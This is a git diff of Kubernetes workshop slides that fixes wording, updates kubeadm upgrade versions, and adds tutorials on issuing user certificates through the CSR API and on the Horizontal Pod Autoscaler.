yes, it could be inferred from context, but ... `kubectl` requires it + - yes, it could be inferred from context, but... `kubectl` requires it --- @@ -588,7 +590,7 @@ class: extra-details *In many situations, these roles will be all you need.* -*You can also customize them if needed!* +*You can also customize them!* --- @@ -650,7 +652,7 @@ class: extra-details kubectl describe clusterrolebinding cluster-admin ``` -- This binding associates `system:masters` to the cluster role `cluster-admin` +- This binding associates `system:masters` with the cluster role `cluster-admin` - And the `cluster-admin` is, basically, `root`: ```bash @@ -665,7 +667,7 @@ class: extra-details - For auditing purposes, sometimes we want to know who can perform an action -- Here is a proof-of-concept tool by Aqua Security, doing exactly that: +- There is a proof-of-concept tool by Aqua Security which does exactly that: https://github.com/aquasecurity/kubectl-who-can diff --git a/slides/k8s/cloud-controller-manager.md b/slides/k8s/cloud-controller-manager.md index d0975278..0e6dd06f 100644 --- a/slides/k8s/cloud-controller-manager.md +++ b/slides/k8s/cloud-controller-manager.md @@ -20,15 +20,15 @@ - Configuring routing tables in the cloud network (specific to GCE) -- Updating node labels to indicate region, zone, instance type ... +- Updating node labels to indicate region, zone, instance type... - Obtain node name, internal and external addresses from cloud metadata service - Deleting nodes from Kubernetes when they're deleted in the cloud -- Managing *some* volumes (e.g. ELBs, AzureDisks ...) +- Managing *some* volumes (e.g. ELBs, AzureDisks...) - (Eventually, volumes will be managed by the CSI) + (Eventually, volumes will be managed by the Container Storage Interface) --- @@ -83,7 +83,7 @@ The list includes the following providers: ## Audience questions -- What kind of clouds are you using / planning to use? +- What kind of clouds are you using/planning to use? - What kind of details would you like to see in this section? @@ -105,7 +105,7 @@ The list includes the following providers: - When using managed clusters, this is done automatically -- There is very little documentation to write the configuration file +- There is very little documentation on writing the configuration file (except for OpenStack) @@ -123,7 +123,7 @@ The list includes the following providers: - To get these addresses, the node needs to communicate with the control plane -- ... Which means joining the cluster +- ...Which means joining the cluster (The problem didn't occur when cloud-specific code was running in kubelet: kubelet could obtain the required information directly from the cloud provider's metadata service.) diff --git a/slides/k8s/cluster-backup.md b/slides/k8s/cluster-backup.md index eb34a58c..048d09ee 100644 --- a/slides/k8s/cluster-backup.md +++ b/slides/k8s/cluster-backup.md @@ -6,7 +6,7 @@ - error recovery (human or process has altered or corrupted data) - - cloning environments (for testing, validation ...) + - cloning environments (for testing, validation...) - Let's see the strategies and tools available with Kubernetes! @@ -18,13 +18,13 @@ (it gives us replication primitives) -- Kubernetes helps us to clone / replicate environments +- Kubernetes helps us clone / replicate environments (all resources can be described with manifests) - Kubernetes *does not* help us with error recovery -- We still need to backup / snapshot our data: +- We still need to back up/snapshot our data: - with database backups (mysqldump, pgdump, etc.) @@ -58,7 +58,7 @@ - If our deployment system isn't fully automated, it should at least be documented -- Litmus test: how long does it take to deploy a cluster ... +- Litmus test: how long does it take to deploy a cluster... - for a senior engineer? @@ -66,7 +66,7 @@ - Does it require external intervention? - (e.g. provisioning servers, signing TLS certs ...) + (e.g. provisioning servers, signing TLS certs...) --- @@ -108,7 +108,7 @@ - For real applications: add resources (as YAML files) -- For applications deployed multiple times: Helm, Kustomize ... +- For applications deployed multiple times: Helm, Kustomize... (staging and production count as "multiple times") diff --git a/slides/k8s/cluster-upgrade.md b/slides/k8s/cluster-upgrade.md index 57bce466..0b477ce9 100644 --- a/slides/k8s/cluster-upgrade.md +++ b/slides/k8s/cluster-upgrade.md @@ -166,7 +166,7 @@ - Upgrade kubelet: ```bash - apt install kubelet=1.14.1-00 + apt install kubelet=1.14.2-00 ``` ] @@ -267,7 +267,7 @@ - Perform the upgrade: ```bash - sudo kubeadm upgrade apply v1.14.1 + sudo kubeadm upgrade apply v1.14.2 ``` ] @@ -287,8 +287,8 @@ - Download the configuration on each node, and upgrade kubelet: ```bash for N in 1 2 3; do - ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.1 - ssh node $N sudo apt install kubelet=1.14.1-00 + ssh test$N sudo kubeadm upgrade node config --kubelet-version v1.14.2 + ssh test$N sudo apt install kubelet=1.14.2-00 done ``` ] @@ -297,7 +297,7 @@ ## Checking what we've done -- All our nodes should now be updated to version 1.14.1 +- All our nodes should now be updated to version 1.14.2 .exercise[ diff --git a/slides/k8s/cni.md b/slides/k8s/cni.md index 306c4302..26a736b9 100644 --- a/slides/k8s/cni.md +++ b/slides/k8s/cni.md @@ -26,7 +26,7 @@ The reference plugins are available [here]. -Look into each plugin's directory for its documentation. +Look in each plugin's directory for its documentation. [here]: https://github.com/containernetworking/plugins/tree/master/plugins @@ -66,6 +66,8 @@ Look into each plugin's directory for its documentation. --- +class: extra-details + ## Conf vs conflist - There are two slightly different configuration formats @@ -98,7 +100,7 @@ class: extra-details - CNI_NETNS: path to network namespace file - - CNI_IFNAME: how the network interface should be named + - CNI_IFNAME: what the network interface should be named - The network configuration must be provided to the plugin on stdin @@ -188,12 +190,16 @@ class: extra-details - ... But this time, the controller manager will allocate `podCIDR` subnets -- We will start kube-router with a DaemonSet + (so that we don't have to manually assign subnets to individual nodes) -- This DaemonSet will start one instance of kube-router on each node +- We will create a DaemonSet for kube-router + +- We will join nodes to the cluster + +- The DaemonSet will automatically start a kube-router pod on each node --- - + ## Logging into the new cluster .exercise[ @@ -221,7 +227,7 @@ class: extra-details - It is similar to the one we used with the `kubenet` cluster - The API server is started with `--allow-privileged` - + (because we will start kube-router in privileged pods) - The controller manager is started with extra flags too: @@ -254,7 +260,7 @@ class: extra-details --- -## The kube-router DaemonSet +## The kube-router DaemonSet - In the same directory, there is a `kuberouter.yaml` file @@ -272,7 +278,7 @@ class: extra-details - The address of the API server will be `http://A.B.C.D:8080` - (where `A.B.C.D` is the address of `kuberouter1`, running the control plane) + (where `A.B.C.D` is the public address of `kuberouter1`, running the control plane) .exercise[ @@ -300,12 +306,10 @@ Note: the DaemonSet won't create any pods (yet) since there are no nodes (yet). - Generate the kubeconfig file (replacing `X.X.X.X` with the address of `kuberouter1`): ```bash - kubectl --kubeconfig ~/kubeconfig config \ - set-cluster kubenet --server http://`X.X.X.X`:8080 - kubectl --kubeconfig ~/kubeconfig config \ - set-context kubenet --cluster kubenet - kubectl --kubeconfig ~/kubeconfig config\ - use-context kubenet + kubectl config set-cluster cni --server http://`X.X.X.X`:8080 + kubectl config set-context cni --cluster cni + kubectl config use-context cni + cp ~/.kube/config ~/kubeconfig ``` ] @@ -451,7 +455,7 @@ We should see the local pod CIDR connected to `kube-bridge`, and the other nodes - Or try to exec into one of the kube-router pods: ```bash - kubectl -n kube-system exec kuber-router-xxxxx bash + kubectl -n kube-system exec kube-router-xxxxx bash ``` ] @@ -487,8 +491,8 @@ What does that mean? - First, get the container ID, with `docker ps` or like this: ```bash - CID=$(docker ps - --filter label=io.kubernetes.pod.namespace=kube-system + CID=$(docker ps -q \ + --filter label=io.kubernetes.pod.namespace=kube-system \ --filter label=io.kubernetes.container.name=kube-router) ``` @@ -573,7 +577,7 @@ done ## Starting the route reflector -- Only do this if you are doing this on your own +- Only do this slide if you are doing this on your own - There is a Compose file in the `compose/frr-route-reflector` directory @@ -599,13 +603,13 @@ done ## Updating kube-router configuration -- We need to add two command-line flags to the kube-router process +- We need to pass two command-line flags to the kube-router process .exercise[ - Edit the `kuberouter.yaml` file -- Add the following flags to the kube-router arguments,: +- Add the following flags to the kube-router arguments: ``` - "--peer-router-ips=`X.X.X.X`" - "--peer-router-asns=64512" diff --git a/slides/k8s/concepts-k8s.md b/slides/k8s/concepts-k8s.md index dc597bed..0e27a464 100644 --- a/slides/k8s/concepts-k8s.md +++ b/slides/k8s/concepts-k8s.md @@ -136,6 +136,8 @@ class: pic --- +class: extra-details + ## Running the control plane on special nodes - It is common to reserve a dedicated node for the control plane @@ -158,6 +160,8 @@ class: pic --- +class: extra-details + ## Running the control plane outside containers - The services of the control plane can run in or out of containers @@ -173,10 +177,12 @@ class: pic - In that case, there is no "master node" -*For this reason, it is more accurate to say "control plane" rather than "master".* +*For this reason, it is more accurate to say "control plane" rather than "master."* --- +class: extra-details + ## Do we need to run Docker at all? No! @@ -193,6 +199,8 @@ No! --- +class: extra-details + ## Do we need to run Docker at all? Yes! @@ -215,6 +223,8 @@ Yes! --- +class: extra-details + ## Do we need to run Docker at all? - On our development environments, CI pipelines ... : @@ -231,25 +241,21 @@ Yes! --- -## Kubernetes resources +## Interacting with Kubernetes -- The Kubernetes API defines a lot of objects called *resources* +- We will interact with our Kubernetes cluster through the Kubernetes API -- These resources are organized by type, or `Kind` (in the API) +- The Kubernetes API is (mostly) RESTful + +- It allows us to create, read, update, delete *resources* - A few common resource types are: - node (a machine — physical or virtual — in our cluster) + - pod (group of containers running together on a node) + - service (stable network endpoint to connect to one or multiple containers) - - namespace (more-or-less isolated group of things) - - secret (bundle of sensitive data to be passed to a container) - - And much more! - -- We can see the full list by running `kubectl api-resources` - - (In Kubernetes 1.10 and prior, the command to list API resources was `kubectl get`) --- diff --git a/slides/k8s/configuration.md b/slides/k8s/configuration.md index d1e57a6a..47b23ca7 100644 --- a/slides/k8s/configuration.md +++ b/slides/k8s/configuration.md @@ -22,7 +22,7 @@ - There are many ways to pass configuration to code running in a container: - - baking it in a custom image + - baking it into a custom image - command-line arguments @@ -125,7 +125,7 @@ - We can also use a mechanism called the *downward API* -- The downward API allows to expose pod or container information +- The downward API allows exposing pod or container information - either through special files (we won't show that for now) @@ -436,7 +436,7 @@ We should see connections served by Google, and others served by IBM. - We are going to store the port number in a configmap -- Then we will expose that configmap to a container environment variable +- Then we will expose that configmap as a container environment variable --- diff --git a/slides/k8s/create-chart.md b/slides/k8s/create-chart.md index 35ea3878..1d3e1e74 100644 --- a/slides/k8s/create-chart.md +++ b/slides/k8s/create-chart.md @@ -34,7 +34,7 @@ ```bash while read kind name; do - kubectl get -o yaml --export $kind $name > dockercoins/templates/$name-$kind.yaml + kubectl get -o yaml $kind $name > dockercoins/templates/$name-$kind.yaml done < + I can be certain that I am talking to them / they are talking to me + +- The certificate proves that I have the correct public key for them + +--- + +## Certificate generation workflow + +This is what I do if I want to obtain a certificate. + +1. Create public and private keys. + +2. Create a Certificate Signing Request (CSR). + + (The CSR contains the identity that I claim and a public key.) + +3. Send that CSR to the Certificate Authority (CA). + +4. The CA verifies that I can claim the identity in the CSR. + +5. The CA generates my certificate and gives it to me. + +The CA (or anyone else) never needs to know my private key. + +--- + +## The CSR API + +- The Kubernetes API has a CertificateSigningRequest resource type + + (we can list them with e.g. `kubectl get csr`) + +- We can create a CSR object + + (= upload a CSR to the Kubernetes API) + +- Then, using the Kubernetes API, we can approve/deny the request + +- If we approve the request, the Kubernetes API generates a certificate + +- The certificate gets attached to the CSR object and can be retrieved + +--- + +## Using the CSR API + +- We will show how to use the CSR API to obtain user certificates + +- This will be a rather complex demo + +- ... And yet, we will take a few shortcuts to simplify it + + (but it will illustrate the general idea) + +- The demo also won't be automated + + (we would have to write extra code to make it fully functional) + +--- + +## General idea + +- We will create a Namespace named "users" + +- Each user will get a ServiceAccount in that Namespace + +- That ServiceAccount will give read/write access to *one* CSR object + +- Users will use that ServiceAccount's token to submit a CSR + +- We will approve the CSR (or not) + +- Users can then retrieve their certificate from their CSR object + +- ...And use that certificate for subsequent interactions + +--- + +## Resource naming + +For a user named `jean.doe`, we will have: + +- ServiceAccount `jean.doe` in Namespace `users` + +- CertificateSigningRequest `users:jean.doe` + +- ClusterRole `users:jean.doe` giving read/write access to that CSR + +- ClusterRoleBinding `users:jean.doe` binding ClusterRole and ServiceAccount + +--- + +## Creating the user's resources + +.warning[If you want to use another name than `jean.doe`, update the YAML file!] + +.exercise[ + +- Create the global namespace for all users: + ```bash + kubectl create namespace users + ``` + +- Create the ServiceAccount, ClusterRole, ClusterRoleBinding for `jean.doe`: + ```bash + kubectl apply -f ~/container.training/k8s/users:jean.doe.yaml + ``` + +] + +--- + +## Extracting the user's token + +- Let's obtain the user's token and give it to them + + (the token will be their password) + +.exercise[ + +- List the user's secrets: + ```bash + kubectl --namespace=users describe serviceaccount jean.doe + ``` + +- Show the user's token: + ```bash + kubectl --namespace=users describe secret `jean.doe-token-xxxxx` + ``` + +] + +--- + +## Configure `kubectl` to use the token + +- Let's create a new context that will use that token to access the API + +.exercise[ + +- Add a new identity to our kubeconfig file: + ```bash + kubectl config set-credentials token:jean.doe --token=... + ``` + +- Add a new context using that identity: + ```bash + kubectl config set-context jean.doe --user=token:jean.doe --cluster=kubernetes + ``` + +] + +--- + +## Access the API with the token + +- Let's check that our access rights are set properly + +.exercise[ + +- Try to access any resource: + ```bash + kubectl get pods + ``` + (This should tell us "Forbidden") + +- Try to access "our" CertificateSigningRequest: + ```bash + kubectl get csr users:jean.doe + ``` + (This should tell us "NotFound") + +] + +--- + +## Create a key and a CSR + +- There are many tools to generate TLS keys and CSRs + +- Let's use OpenSSL; it's not the best one, but it's installed everywhere + + (many people prefer cfssl, easyrsa, or other tools; that's fine too!) + +.exercise[ + +- Generate the key and certificate signing request: + ```bash + openssl req -newkey rsa:2048 -nodes -keyout key.pem \ + -new -subj /CN=jean.doe/O=devs/ -out csr.pem + ``` + +] + +The command above generates: + +- a 2048-bit RSA key, without encryption, stored in key.pem +- a CSR for the name `jean.doe` in group `devs` + +--- + +## Inside the Kubernetes CSR object + +- The Kubernetes CSR object is a thin wrapper around the CSR PEM file + +- The PEM file needs to be encoded to base64 on a single line + + (we will use `base64 -w0` for that purpose) + +- The Kubernetes CSR object also needs to list the right "usages" + + (these are flags indicating how the certificate can be used) + +--- + +## Sending the CSR to Kubernetes + +.exercise[ + +- Generate and create the CSR resource: + ```bash + kubectl apply -f - < cert.pem + ``` + +- Inspect the certificate: + ```bash + openssl x509 -in cert.pem -text -noout + ``` + +] + +--- + +## Using the certificate + +.exercise[ + +- Add the key and certificate to kubeconfig: + ```bash + kubectl config set-credentials cert:jean.doe --embed-certs \ + --client-certificate=cert.pem --client-key=key.pem + ``` + +- Update the user's context to use the key and cert to authenticate: + ```bash + kubectl config set-context jean.doe --user cert:jean.doe + ``` + +- Confirm that we are seen as `jean.doe` (but don't have permissions): + ```bash + kubectl get pods + ``` + +] + +--- + +## What's missing? + +We have just shown, step by step, a method to issue short-lived certificates for users. + +To be usable in real environments, we would need to add: + +- a kubectl helper to automatically generate the CSR and obtain the cert + + (and transparently renew the cert when needed) + +- a Kubernetes controller to automatically validate and approve CSRs + + (checking that the subject and groups are valid) + +- a way for the users to know the groups to add to their CSR + + (e.g.: annotations on their ServiceAccount + read access to the ServiceAccount) + +--- + +## Is this realistic? + +- Larger organizations typically integrate with their own directory + +- The general principle, however, is the same: + + - users have long-term credentials (password, token, ...) + + - they use these credentials to obtain other, short-lived credentials + +- This provides enhanced security: + + - the long-term credentials can use long passphrases, 2FA, HSM... + + - the short-term credentials are more convenient to use + + - we get strong security *and* convenience + +- Systems like Vault also have certificate issuance mechanisms diff --git a/slides/k8s/daemonset.md b/slides/k8s/daemonset.md index bd86a91d..3f664e25 100644 --- a/slides/k8s/daemonset.md +++ b/slides/k8s/daemonset.md @@ -73,18 +73,13 @@ - Dump the `rng` resource in YAML: ```bash - kubectl get deploy/rng -o yaml --export >rng.yml + kubectl get deploy/rng -o yaml >rng.yml ``` - Edit `rng.yml` ] -Note: `--export` will remove "cluster-specific" information, i.e.: -- namespace (so that the resource is not tied to a specific namespace) -- status and creation timestamp (useless when creating a new resource) -- resourceVersion and uid (these would cause... *interesting* problems) - --- ## "Casting" a resource to another @@ -376,7 +371,7 @@ But ... why do these pods (in particular, the *new* ones) have this `app=rng` la - Bottom line: if we remove our `app=rng` label ... - ... The pod "diseappears" for its parent, which re-creates another pod to replace it + ... The pod "disappears" for its parent, which re-creates another pod to replace it --- diff --git a/slides/k8s/dashboard.md b/slides/k8s/dashboard.md index 153f3493..bae2d732 100644 --- a/slides/k8s/dashboard.md +++ b/slides/k8s/dashboard.md @@ -153,5 +153,7 @@ The dashboard will then ask you which authentication you want to use. -- -- It introduces new failure modes (like if you try to apply yaml from a link that's no longer valid) +- It introduces new failure modes + + (for instance, if you try to apply YAML from a link that's no longer valid) diff --git a/slides/k8s/declarative.md b/slides/k8s/declarative.md index de9fa995..fc4e1fb0 100644 --- a/slides/k8s/declarative.md +++ b/slides/k8s/declarative.md @@ -1,6 +1,20 @@ ## Declarative vs imperative in Kubernetes -- Virtually everything we create in Kubernetes is created from a *spec* +- With Kubernetes, we cannot say: "run this container" + +- All we can do is write a *spec* and push it to the API server + + (by creating a resource like e.g. a Pod or a Deployment) + +- The API server will validate that spec (and reject it if it's invalid) + +- Then it will store it in etcd + +- A *controller* will "notice" that spec and act upon it + +--- + +## Reconciling state - Watch for the `spec` fields in the YAML files later! diff --git a/slides/k8s/dmuc.md b/slides/k8s/dmuc.md index a00d940c..17f60543 100644 --- a/slides/k8s/dmuc.md +++ b/slides/k8s/dmuc.md @@ -175,7 +175,7 @@ Success! ] -So far, so good. +We should get `No resources found.` and the `kubernetes` service, respectively. Note: the API server automatically created the `kubernetes` service entry. @@ -225,7 +225,7 @@ Success? ] -Our Deployment is in a bad shape: +Our Deployment is in bad shape: ``` NAME READY UP-TO-DATE AVAILABLE AGE deployment.apps/web 0/1 0 0 2m26s @@ -584,7 +584,7 @@ Our pod is still `Pending`. 🤔 Which is normal: it needs to be *scheduled*. -(i.e., something needs to decide on which node it should go.) +(i.e., something needs to decide which node it should go on.) --- @@ -658,7 +658,7 @@ class: extra-details - This is actually how the scheduler works! -- It watches pods, takes scheduling decisions, creates Binding objects +- It watches pods, makes scheduling decisions, and creates Binding objects --- @@ -686,7 +686,7 @@ We should see the `Welcome to nginx!` page. ## Exposing our Deployment -- We can now create a Service associated to this Deployment +- We can now create a Service associated with this Deployment .exercise[ @@ -711,11 +711,11 @@ This won't work. We need kube-proxy to enable internal communication. ## Starting kube-proxy -- kube-proxy also needs to connect to API server +- kube-proxy also needs to connect to the API server - It can work with the `--master` flag - (even though that will be deprecated in the future) + (although that will be deprecated in the future) .exercise[ @@ -832,6 +832,6 @@ class: extra-details - By default, the API server expects to be running directly on the nodes - (it could be as a bare process, or in a container/pod using host network) + (it could be as a bare process, or in a container/pod using the host network) - ... And it expects to be listening on port 6443 with TLS diff --git a/slides/k8s/extending-api.md b/slides/k8s/extending-api.md index e8a4cf99..dfec6ab5 100644 --- a/slides/k8s/extending-api.md +++ b/slides/k8s/extending-api.md @@ -61,7 +61,7 @@ There are many possibilities! - creates a new custom type, `Remote`, exposing a git+ssh server - - deploy by pushing YAML or Helm Charts to that remote + - deploy by pushing YAML or Helm charts to that remote - Replacing built-in types with CRDs @@ -117,7 +117,7 @@ Examples: ## Admission controllers -- When a Pod is created, it is associated to a ServiceAccount +- When a Pod is created, it is associated with a ServiceAccount (even if we did not specify one explicitly) @@ -163,7 +163,7 @@ class: pic - These webhooks can be *validating* or *mutating* -- Webhooks can be setup dynamically (without restarting the API server) +- Webhooks can be set up dynamically (without restarting the API server) - To setup a dynamic admission webhook, we create a special resource: @@ -171,7 +171,7 @@ class: pic - These resources are created and managed like other resources - (i.e. `kubectl create`, `kubectl get` ...) + (i.e. `kubectl create`, `kubectl get`...) --- diff --git a/slides/k8s/gitworkflows.md b/slides/k8s/gitworkflows.md index a009ea69..4bccea72 100644 --- a/slides/k8s/gitworkflows.md +++ b/slides/k8s/gitworkflows.md @@ -234,6 +234,6 @@ (see the [documentation](https://github.com/hasura/gitkube/blob/master/docs/remote.md) for more details) -- Gitkube can also deploy Helm Charts +- Gitkube can also deploy Helm charts (instead of raw YAML files) diff --git a/slides/k8s/healthchecks.md b/slides/k8s/healthchecks.md index 2563da68..a72fedbf 100644 --- a/slides/k8s/healthchecks.md +++ b/slides/k8s/healthchecks.md @@ -108,7 +108,7 @@ (as opposed to merely started) -- Containers in a broken state gets killed and restarted +- Containers in a broken state get killed and restarted (instead of serving errors or timeouts) diff --git a/slides/k8s/helm.md b/slides/k8s/helm.md index 004abb58..5c895daa 100644 --- a/slides/k8s/helm.md +++ b/slides/k8s/helm.md @@ -158,7 +158,7 @@ Where do these `--set` options come from? ] -The chart's metadata includes an URL to the project's home page. +The chart's metadata includes a URL to the project's home page. (Sometimes it conveniently points to the documentation for the chart.) diff --git a/slides/k8s/horizontal-pod-autoscaler.md b/slides/k8s/horizontal-pod-autoscaler.md new file mode 100644 index 00000000..069c479d --- /dev/null +++ b/slides/k8s/horizontal-pod-autoscaler.md @@ -0,0 +1,245 @@ +# The Horizontal Pod Autoscaler + +- What is the Horizontal Pod Autoscaler, or HPA? + +- It is a controller that can perform *horizontal* scaling automatically + +- Horizontal scaling = changing the number of replicas + + (adding/removing pods) + +- Vertical scaling = changing the size of individual replicas + + (increasing/reducing CPU and RAM per pod) + +- Cluster scaling = changing the size of the cluster + + (adding/removing nodes) + +--- + +## Principle of operation + +- Each HPA resource (or "policy") specifies: + + - which object to monitor and scale (e.g. a Deployment, ReplicaSet...) + + - min/max scaling ranges (the max is a safety limit!) + + - a target resource usage (e.g. the default is CPU=80%) + +- The HPA continuously monitors the CPU usage for the related object + +- It computes how many pods should be running: + + `TargetNumOfPods = ceil(sum(CurrentPodsCPUUtilization) / Target)` + +- It scales the related object up/down to this target number of pods + +--- + +## Pre-requirements + +- The metrics server needs to be running + + (i.e. we need to be able to see pod metrics with `kubectl top pods`) + +- The pods that we want to autoscale need to have resource requests + + (because the target CPU% is not absolute, but relative to the request) + +- The latter actually makes a lot of sense: + + - if a Pod doesn't have a CPU request, it might be using 10% of CPU... + + - ...but only because there is no CPU time available! + + - this makes sure that we won't add pods to nodes that are already resource-starved + +--- + +## Testing the HPA + +- We will start a CPU-intensive web service + +- We will send some traffic to that service + +- We will create an HPA policy + +- The HPA will automatically scale up the service for us + +--- + +## A CPU-intensive web service + +- Let's use `jpetazzo/busyhttp` + + (it is a web server that will use 1s of CPU for each HTTP request) + +.exercise[ + +- Deploy the web server: + ```bash + kubectl create deployment busyhttp --image=jpetazzo/busyhttp + ``` + +- Expose it with a ClusterIP service: + ```bash + kubectl expose deployment busyhttp --port=80 + ``` + +- Get the ClusterIP allocated to the service: + ```bash + kubectl get svc busyhttp + ``` + +] + +--- + +## Monitor what's going on + +- Let's start a bunch of commands to watch what is happening + +.exercise[ + +- Monitor pod CPU usage: + ```bash + watch kubectl top pods + ``` + +- Monitor service latency: + ```bash + httping http://`ClusterIP`/ + ``` + +- Monitor cluster events: + ```bash + kubectl get events -w + ``` + +] + +--- + +## Send traffic to the service + +- We will use `ab` (Apache Bench) to send traffic + +.exercise[ + +- Send a lot of requests to the service, with a concurrency level of 3: + ```bash + ab -c 3 -n 100000 http://`ClusterIP`/ + ``` + +] + +The latency (reported by `httping`) should increase above 3s. + +The CPU utilization should increase to 100%. + +(The server is single-threaded and won't go above 100%.) + +--- + +## Create an HPA policy + +- There is a helper command to do that for us: `kubectl autoscale` + +.exercise[ + +- Create the HPA policy for the `busyhttp` deployment: + ```bash + kubectl autoscale deployment busyhttp --max=10 + ``` + +] + +By default, it will assume a target of 80% CPU usage. + +This can also be set with `--cpu-percent=`. + +-- + +*The autoscaler doesn't seem to work. Why?* + +--- + +## What did we miss? + +- The events stream gives us a hint, but to be honest, it's not very clear: + + `missing request for cpu` + +- We forgot to specify a resource request for our Deployment! + +- The HPA target is not an absolute CPU% + +- It is relative to the CPU requested by the pod + +--- + +## Adding a CPU request + +- Let's edit the deployment and add a CPU request + +- Since our server can use up to 1 core, let's request 1 core + +.exercise[ + +- Edit the Deployment definition: + ```bash + kubectl edit deployment busyhttp + ``` + +- In the `containers` list, add the following block: + ```yaml + resources: + requests: + cpu: "1" + ``` + +] + +--- + +## Results + +- After saving and quitting, a rolling update happens + + (if `ab` or `httping` exits, make sure to restart it) + +- It will take a minute or two for the HPA to kick in: + + - the HPA runs every 30 seconds by default + + - it needs to gather metrics from the metrics server first + +- If we scale further up (or down), the HPA will react after a few minutes: + + - it won't scale up if it already scaled in the last 3 minutes + + - it won't scale down if it already scaled in the last 5 minutes + +--- + +## What about other metrics? + +- The HPA in API group `autoscaling/v1` only supports CPU scaling + +- The HPA in API group `autoscaling/v2beta2` supports metrics from various API groups: + + - metrics.k8s.io, aka metrics server (per-Pod CPU and RAM) + + - custom.metrics.k8s.io, custom metrics per Pod + + - external.metrics.k8s.io, external metrics (not associated to Pods) + +- Kubernetes doesn't implement any of these API groups + +- Using these metrics requires [registering additional APIs](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/#support-for-metrics-apis) + +- The metrics provided by metrics server are standard; everything else is custom + +- For more details, see [this great blog post](https://medium.com/uptime-99/kubernetes-hpa-autoscaling-with-custom-and-external-metrics-da7f41ff7846) or [this talk](https://www.youtube.com/watch?v=gSiGFH4ZnS8) diff --git a/slides/k8s/ingress.md b/slides/k8s/ingress.md index 3188de96..9ccfdd8c 100644 --- a/slides/k8s/ingress.md +++ b/slides/k8s/ingress.md @@ -88,7 +88,7 @@ - the control loop watches over ingress resources, and configures the LB accordingly -- Step 2: setup DNS +- Step 2: set up DNS - associate DNS entries with the load balancer address @@ -126,7 +126,7 @@ - We could use pods specifying `hostPort: 80` - ... but with most CNI plugins, this [doesn't work or require additional setup](https://github.com/kubernetes/kubernetes/issues/23920) + ... but with most CNI plugins, this [doesn't work or requires additional setup](https://github.com/kubernetes/kubernetes/issues/23920) - We could use a `NodePort` service @@ -142,7 +142,7 @@ (sometimes called sandbox or network sandbox) -- An IP address is associated to the pod +- An IP address is assigned to the pod - This IP address is routed/connected to the cluster network @@ -239,7 +239,7 @@ class: extra-details - an error condition on the node
- (for instance: "disk full", do not start new pods here!) + (for instance: "disk full," do not start new pods here!) - The `effect` can be: @@ -501,11 +501,11 @@ spec: (as long as it has access to the cluster subnet) -- This allows to use external (hardware, physical machines...) load balancers +- This allows the use of external (hardware, physical machines...) load balancers - Annotations can encode special features - (rate-limiting, A/B testing, session stickiness, etc.) + (rate-limiting, A/B testing, session stickiness, etc.) --- diff --git a/slides/k8s/kubectlexpose.md b/slides/k8s/kubectlexpose.md index 124ef922..0e6c5ecd 100644 --- a/slides/k8s/kubectlexpose.md +++ b/slides/k8s/kubectlexpose.md @@ -81,7 +81,7 @@ Under the hood: `kube-proxy` is using a userland proxy and a bunch of `iptables` .exercise[ -- In another window, watch the pods (to see when they will be created): +- In another window, watch the pods (to see when they are created): ```bash kubectl get pods -w ``` @@ -276,3 +276,21 @@ error: the server doesn't have a resource type "endpoint" - There is no `endpoint` object: `type Endpoints struct` - The type doesn't represent a single endpoint, but a list of endpoints + +--- + +## Exposing services to the outside world + +- The default type (ClusterIP) only works for internal traffic + +- If we want to accept external traffic, we can use one of these: + + - NodePort (expose a service on a TCP port between 30000-32768) + + - LoadBalancer (provision a cloud load balancer for our service) + + - ExternalIP (use one node's external IP address) + + - Ingress (a special mechanism for HTTP services) + +*We'll see NodePorts and Ingresses more in detail later.* diff --git a/slides/k8s/kubectlget.md b/slides/k8s/kubectlget.md index d1c034bb..44566b26 100644 --- a/slides/k8s/kubectlget.md +++ b/slides/k8s/kubectlget.md @@ -79,6 +79,8 @@ --- +class: extra-details + ## Exploring types and definitions - We can list all available resource types by running `kubectl api-resources` @@ -102,9 +104,11 @@ --- +class: extra-details + ## Introspection vs. documentation -- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.14/) +- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/#api-reference) - The API documentation is usually easier to read, but: @@ -128,7 +132,7 @@ - short (e.g. `no`, `svc`, `deploy`) -- Some resources do not have a short names +- Some resources do not have a short name - `Endpoints` only have a plural form @@ -462,4 +466,4 @@ class: extra-details - For more details, see [KEP-0009] or the [node controller documentation] [KEP-0009]: https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/0009-node-heartbeat.md -[node controller documentation]: https://kubernetes.io/docs/concepts/architecture/nodes/#node-controller \ No newline at end of file +[node controller documentation]: https://kubernetes.io/docs/concepts/architecture/nodes/#node-controller diff --git a/slides/k8s/kubectlproxy.md b/slides/k8s/kubectlproxy.md index 749f8c0e..fa7f7505 100644 --- a/slides/k8s/kubectlproxy.md +++ b/slides/k8s/kubectlproxy.md @@ -77,9 +77,9 @@ If we wanted to talk to the API, we would need to: - This is a great tool to learn and experiment with the Kubernetes API -- ... And for serious usages as well (suitable for one-shot scripts) +- ... And for serious uses as well (suitable for one-shot scripts) -- For unattended use, it is better to create a [service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) +- For unattended use, it's better to create a [service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) --- diff --git a/slides/k8s/kubectlrun.md b/slides/k8s/kubectlrun.md index 50d4937a..2c8a9c2b 100644 --- a/slides/k8s/kubectlrun.md +++ b/slides/k8s/kubectlrun.md @@ -320,6 +320,8 @@ We could! But the *deployment* would notice it right away, and scale back to the --- +class: extra-details + ### Streaming logs of many pods - Let's see what happens if we try to stream the logs for more than 5 pods @@ -347,6 +349,8 @@ use --max-log-requests to increase the limit --- +class: extra-details + ## Why can't we stream the logs of many pods? - `kubectl` opens one connection to the API server per pod diff --git a/slides/k8s/kubenet.md b/slides/k8s/kubenet.md index 92229df9..bc470475 100644 --- a/slides/k8s/kubenet.md +++ b/slides/k8s/kubenet.md @@ -16,6 +16,8 @@ - each pod is aware of its IP address (no NAT) + - pod IP addresses are assigned by the network implementation + - Kubernetes doesn't mandate any particular implementation --- @@ -30,7 +32,7 @@ - No new protocol -- Pods cannot move from a node to another and keep their IP address +- The network implementation can decide how to allocate addresses - IP addresses don't have to be "portable" from a node to another @@ -52,7 +54,7 @@ (15 are listed in the Kubernetes documentation) -- Pods have level 3 (IP) connectivity, but *services* are level 4 +- Pods have level 3 (IP) connectivity, but *services* are level 4 (TCP or UDP) (Services map to a single UDP or TCP port; no port ranges or arbitrary IP packets) @@ -82,13 +84,17 @@ --- 